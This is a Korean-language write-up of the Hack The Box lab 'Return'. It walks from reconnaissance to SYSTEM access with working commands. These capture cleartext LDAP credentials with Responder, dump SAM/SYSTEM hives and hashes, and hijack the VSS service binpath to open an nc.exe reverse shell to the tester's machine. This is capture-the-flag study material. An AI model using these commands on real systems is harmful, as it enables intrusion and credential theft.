Return

Easy / Windows / Solved Date : 21 Dec 2025

1. 정찰

1.1. nmap

88포트, 389번 포트를 서비스하는 거로 보아 AD 서버인 것을 유추할 수 있고, 80포트가 서비스 돼서 웹사이트를 봐야겠다는 생각을 할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# nmap -sC -sV 10.129.42.114 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 09:32 +04
Nmap scan report for 10.129.42.114
Host is up (0.19s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-21 05:51:48Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-12-21T05:52:03
|_  start_date: N/A
|_clock-skew: 18m34s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.90 seconds

1.2. smbmap / rpcclient / smbclient

기본적인 정찰을 진행했으나 아무것도 나오는 것은 없었다. 정찰 결과 특이사항은 없었으며, 특별한 정보를 수집할 수 없어서 80번 포트로 웹사이트 내에서 자료를 수집해야 한다는 결론에 도달한다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# smbmap -H 10.129.42.114                                    

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[!] Access denied on 10.129.42.114, no fun for you...                                                                        
[*] Closed 1 connections                                                                                                     
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# smbclient -N -L //10.129.42.114     
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.42.114 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# rpcclient -U "" -N 10.129.42.114 
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> q
command not found: q
rpcclient $>

1.3. 웹사이트 정찰

1.3.1. Settings 메뉴 정찰

Settings 메뉴에 Password 라는 태그가 존재하는데 소스코드를 확인 결과 그냥 하드코딩된 * 문자만 존재한다.

1.3.2. Request 데이터 확인

Update 버튼을 누르면 Request 에서 ip 주소만 전달되는 것을 확인할 수 있다. 위의 자료에서 주목할 점은 Server Port 가 389 였다는 것이다. 그리고 프린터라는 서비스 특성상 서버로 활동하지 않고 서버에다가 데이터를 제공하는 용도로 쓰일 것이다.

즉, 연결을 시도하는 포트번호와 서비스를 생각해 볼 때 LDAP 통신 규약을 쓰는 것으로 추정할 수 있는데 LDAP 으로 로그인을 시도한다면 자신의 ID/PW를 제공하면서 로그인 시켜달라고 인증 정보를 보낼 것이다.

2. 내부망 침투

2.1. kali 로 연결 시도

기존의 ip 를 내 kali 로 변경하고 update 를 전송한다.

kali 에서는 수신을 해야 하기 때문에 responder 를 작동시켜 놓고 있는다. 그러고 update 를 누르게 되면 ID/PW 가 전송 받는 모습을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# responder -I tun0                
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.6.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

[...SNIP...]

[LDAP] Cleartext Client   : 10.129.42.114
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!

2.2. evil-winrm 을 통한 내부망 접속 성공

evil-winrm 을 통해서 위에서 얻은 svc-printer 계정으로 접속에 성곤한다. 그리고 user.txt 파일에 대해

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# evil-winrm -i 10.129.42.114 -u svc-printer -p '1edFg43012!!'     
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> type ../Desktop/user.txt

3. 권한 상승

3.1. svc-printer 권한 확인

3.1.1. whoami /priv

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

3.2. whoami /groups

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

3.3. net user svc-printer

*Evil-WinRM* PS C:\Users\svc-printer\Documents> net user svc-printer
User name                    svc-printer
Full Name                    SVCPrinter
Comment                      Service Account for Printer
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/26/2021 12:15:13 AM
Password expires             Never
Password changeable          5/27/2021 12:15:13 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/26/2021 12:39:29 AM

Logon hours allowed          All

Local Group Memberships      *Print Operators      *Remote Management Use
                             *Server Operators
Global Group memberships     *Domain Users
The command completed successfully.

3.2. secretsdump 를 통한 접근 시도 - 실패

3.2.1. secretsdump 를 통한 해쉬값 추출

일단 svc-printer 계정을 습득했으므로 secretsdump 를 통해서 해쉬값을 추출할 수 있는지 확인해 본다. 하지만 해쉬값이 돌아오지 않는 걸로 보아서 정상 작동하지 않는 거를 볼 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# impacket-secretsdump 'svc-printer:1edFg43012!!@10.129.95.241'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up... 

3.2.2. SAM/SYSTEM 파일 dump를 통해서 접근 시도

whoami /priv 를 한 결과를 바탕으로 SeBackupPrivilegeSeRestorePrivilege 의 권한을 확인했다. 따라서 SYSTEMSAM 파일을 덤프할 수 있음을 판단했고, 이 파일을 기반으로 secretsdump 를 통해서 administrator 를 통해서 해쉬값을 받아 오려고 시도했다.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> reg save hklm\sam sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> reg save hklm\system system
The operation completed successfully.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> download sam
                                        
Info: Downloading C:\Users\svc-printer\Documents\sam to sam
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\svc-printer\Documents> download system
                                        
Info: Downloading C:\Users\svc-printer\Documents\system to system
                                        
Info: Download successful!

secretsdump 를 통해 덤프 파일을 제공하면 NTLM 해쉬를 정상적으로 받아오는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# impacket-secretsdump -sam sam -system system LOCAL                   
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... 

하지만 해당 파일을 통해서 PtH 접근을 evil-winrm 으로 시도했을때 정상 작동하지 않았다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# evil-winrm -i 10.129.95.241 -u administrator -H 34386a771aaca697f447754e4863d38a                                 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

3.3. LocalSystem 으로 실행되는 서비스의 실행 경로 조작

먼저 Server Operator 는 서비스를 중지, 실행 등을 할 수 있는 권한을 가지고 있다. 그렇다면 LocalSystem 으로 실행되는 서비스를 찾아서 그 서비스가 실행하는 파일 경로를 내가 원하는 파일로 대체해서(예를 들면 nc.exe) 리버스 쉘을 맺을 수 있을 것이다.

3.3.1. LocalSystem 으로 실행되는 서비스 찾기

해당되는 서비스를 찾기위한 Powershell 스크립트는 아래와 같다. 하지만 정상적으로 출력되지 않는 모습을 보인다.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> Get-CimInstance -ClassName Win32_Service | Select-Object Name, State, StartName | Where-Object {$_.StartName -eq 'LocalSystem'}
Access denied 
At line:1 char:1
+ Get-CimInstance -ClassName Win32_Service | Select-Object Name, State, ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (root\cimv2:Win32_Service:String) [Get-CimInstance], CimException
    + FullyQualifiedErrorId : HRESULT 0x80041003,Microsoft.Management.Infrastructure.CimCmdlets.GetCimInstanceCommand

3.3.2. 수동으로 찾기

sc.exe qc [서비스명] 과 같이 입력하면 SERVICE_START_NAME 이 나오는데, VSS 의 경우에 우리가 원하던 대로 LocalSystem 으로 나오는 것을 확인했다. 통상 이 서비스를 포함해 VMTools Spooler 와 같은 프로그램이 해당 권한을 통해서 서비스를 실행한다. 따라서 우리는 해당 서비스를 찾았으니 실행 경로를 조작할 것이다.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe qc VSS
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VSS
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\vssvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Volume Shadow Copy
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

3.4. VSS 서비스 실행경로 조작

VSS 서비스에 대해 실행 경로인 binpath 를 조작한다. 이 때 nc.exe 는 별도로 업로드 하였고 nc.exe 를 실행하는데에 있어서는 cmd.exe 로 실행시키게 만들었다. 개별적으로 nc.exe 를 실행시키면 정상 작동하지 않았다.

이후 binpath 를 수정했으면 kali 에서 443번 포트로 listen 한 이후에 VSS 를 시작시켜주면 쉘을 획득하는 모습을 확인할 수 있다.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VSS binpath="C:\windows\system32\cmd.exe /c C:\Users\svc-printer\Documents\nc.exe -e cmd 10.10.14.143 443"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VSS

아래는 SYSTEM 권한으로 쉘을 획득한 모습이다.

┌──(root㉿kali)-[/home/kali/labs/Return/Return-2]
└─# nc -lvnp 443                                                        
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.95.241] 55275
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
Updated on